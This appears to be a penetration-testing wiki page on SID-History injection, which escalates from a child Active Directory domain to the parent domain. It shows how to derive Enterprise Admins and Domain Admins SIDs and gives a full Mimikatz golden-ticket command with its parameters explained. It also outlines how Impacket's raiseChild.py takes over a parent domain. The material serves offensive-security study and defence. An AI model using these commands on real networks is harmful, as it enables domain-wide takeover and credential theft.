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SID-History Injection

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SID History Injection Attack

The focus of the SID History Injection Attack is aiding user migration between domains while ensuring continued access to resources from the former domain. This is accomplished by incorporating the user's previous Security Identifier (SID) into the SID History of their new account. Notably, this process can be manipulated to grant unauthorized access by adding the SID of a high-privilege group (such as Enterprise Admins or Domain Admins) from the parent domain to the SID History. This exploitation confers access to all resources within the parent domain.

Two methods exist for executing this attack: through the creation of either a Golden Ticket or a Diamond Ticket.

To pinpoint the SID for the "Enterprise Admins" group, one must first locate the SID of the root domain. Following the identification, the Enterprise Admins group SID can be constructed by appending -519 to the root domain's SID. For instance, if the root domain SID is S-1-5-21-280534878-1496970234-700767426, the resulting SID for the "Enterprise Admins" group would be S-1-5-21-280534878-1496970234-700767426-519.

You could also use the Domain Admins groups, which ends in 512.

Another way yo find the SID of a group of the other domain (for example "Domain Admins") is with:

Get-DomainGroup -Identity "Domain Admins" -Domain parent.io -Properties ObjectSid

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Golden Ticket (Mimikatz) with KRBTGT-AES256

mimikatz.exe "kerberos::golden /user:Administrator /domain:<current_domain> /sid:<current_domain_sid> /sids:<victim_domain_sid_of_group> /aes256:<krbtgt_aes256> /startoffset:-10 /endin:600 /renewmax:10080 /ticket:ticket.kirbi" "exit"

/user is the username to impersonate (could be anything)
/domain is the current domain.
/sid is the current domain SID.
/sids is the SID of the target group to add ourselves to.
/aes256 is the AES256 key of the current domain's krbtgt account.
--> You could also use /krbtgt:<HTML of krbtgt> instead of the "/aes256" option
/startoffset sets the start time of the ticket to 10 mins before the current time.
/endin sets the expiry date for the ticket to 60 mins.
/renewmax sets how long the ticket can be valid for if renewed.

# The previous command will generate a file called ticket.kirbi
# Just loading you can perform a dcsync attack agains the domain

For more info about golden tickets check:

Golden Ticketchevron-right

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Diamond Ticket (Rubeus + KRBTGT-AES256)

For more info about diamond tickets check:

Diamond Ticketchevron-right

Escalate to DA of root or Enterprise admin using the KRBTGT hash of the compromised domain:

With the acquired permissions from the attack you can execute for example a DCSync attack in the new domain:

DCSyncchevron-right

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From linux

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Manual with ticketer.pyarrow-up-right

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Automatic using raiseChild.pyarrow-up-right

This is an Impacket script which will automate escalating from child to parent domain. The script needs:

  • Target domain controller

  • Creds for an admin user in the child domain

The flow is:

  • Obtains the SID for the Enterprise Admins group of the parent domain

  • Retrieves the hash for the KRBTGT account in the child domain

  • Creates a Golden Ticket

  • Logs into the parent domain

  • Retrieves credentials for the Administrator account in the parent domain

  • If the target-exec switch is specified, it authenticates to the parent domain's Domain Controller via Psexec.

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References

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